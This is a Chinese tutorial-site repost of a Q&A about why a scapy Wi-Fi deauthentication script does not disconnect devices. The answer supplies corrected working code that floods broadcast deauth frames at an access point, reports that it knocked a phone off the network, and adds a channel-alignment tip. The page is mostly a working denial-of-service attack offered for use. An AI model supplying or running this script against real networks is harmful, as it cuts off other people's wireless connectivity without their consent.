大佬教程收集整理的这篇文章主要介绍了为什么我的 scapy deauth 功能不起作用?,大佬教程大佬觉得挺不错的,现在分享给大家,也给大家做个参考。
当我运行这个功能时,我仍然可以刷新任何页面,在线观看视频,我网络上的设备没有断开连接,这个功能是不是应该通过接入点对所有设备进行处理,我可以看到数据包在wireshark,但我仍然有互联网连接
为什么它不起作用?
#!/usr/bin/env python3
from scapy.all import (
RadioTap,# Adds additional Metadata to an 802.11 frame
Dot11,# For creaTing 802.11 frame
Dot11Deauth,# For creaTing deauth frame
sendp # for sending packets
)
def deauth_me(target,bssID):
dot11 = Dot11(addr1=bssID,addr2=target,addr3=bssID)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame,iface="wlan0mon",count=100000,inter=0.900)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff",bssID="6c:6f:26:96:57:3d")
我查看了您提供的代码,确实发现了一个问题。
解决方法是在初始化 dot11 变量时更改 addr1 和 addr2 的值。
查看 this StackOverflow 帖子,其中包含它提供给 addr1、addr2 和 addr3 的 MAC 地址。总之,addr1 应该是目标的 MAC 地址,addr2 & addr3 应该是 BSSID MAC 地址。
工作代码:
#!/usr/bin/env python3
from scapy.all import (
RadioTap,# Adds additional metadata to an 802.11 frame
Dot11,# For creaTing 802.11 frame
Dot11Deauth,# For creaTing deauth frame
sendp # for sending packets
)
def deauth_me(target,bssid):
dot11 = Dot11(addr1=target,addr2=bssid,addr3=bssid)
frame = RadioTap()/dot11/Dot11Deauth()
sendp(frame,iface="wlan0mon",count=100000,inter=0.90)
pass
deauth_me(target="ff:ff:ff:ff:ff:ff",bssid="6c:6f:26:96:57:3d")
我测试了这段代码,并成功地将我的手机与 WiFi 网络断开了连接。
您可能会遇到的另一个问题是您的无线接口在与接入点不同的信道上运行。不幸的是,scapy 不会告诉您您是否在错误的频道上。我只能通过使用 aircrack-ng 找到这个。
如果你使用 aircrack-ng 并且通道没有对齐,错误会是这样的(X 和 Y 将被实际通道替换):
wlan0mon is on chAnnel X,but the AP uses chAnnel Y
如果您想更改无线接口使用的频道,您只需:
iwconfig wlan0mon chAnnel Y
以上是大佬教程为你收集整理的为什么我的 scapy deauth 功能不起作用?全部内容,希望文章能够帮你解决为什么我的 scapy deauth 功能不起作用?所遇到的程序开发问题。
如果觉得大佬教程网站内容还不错,欢迎将大佬教程推荐给程序员好友。
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
如您有任何意见或建议可联系处理。小编QQ:384754419,请注明来意。